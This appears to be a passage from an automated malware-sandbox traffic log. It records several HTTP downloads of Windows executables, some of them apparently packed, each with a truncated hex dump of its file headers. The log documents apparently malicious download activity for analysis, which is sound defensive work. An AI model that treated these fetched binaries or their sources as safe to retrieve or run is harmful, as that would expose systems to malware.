00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 22 Dec 2024 01:18:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 22 Dec 2024 01:18:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 22 Dec 2024 01:18:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 22 Dec 2024 01:18:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 22 Dec 2024 01:18:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 22 Dec 2024 01:18:42 GMTContent-Type: application/octet-streamContent-Length: 2809344Last-Modified: Sun, 22 Dec 2024 00:17:01 GMTConnection: keep-aliveETag: "67675a7d-2ade00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 d9 47 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 73 78 67 75 7a 6e 6e 00 60 2a 00 00 a0 00 00 00 50 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6b 73 63 6b 62 66 75 00 20 00 00 00 00 2b 00 00 04 00 00 00 b8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 bc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 22 Dec 2024 01:18:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
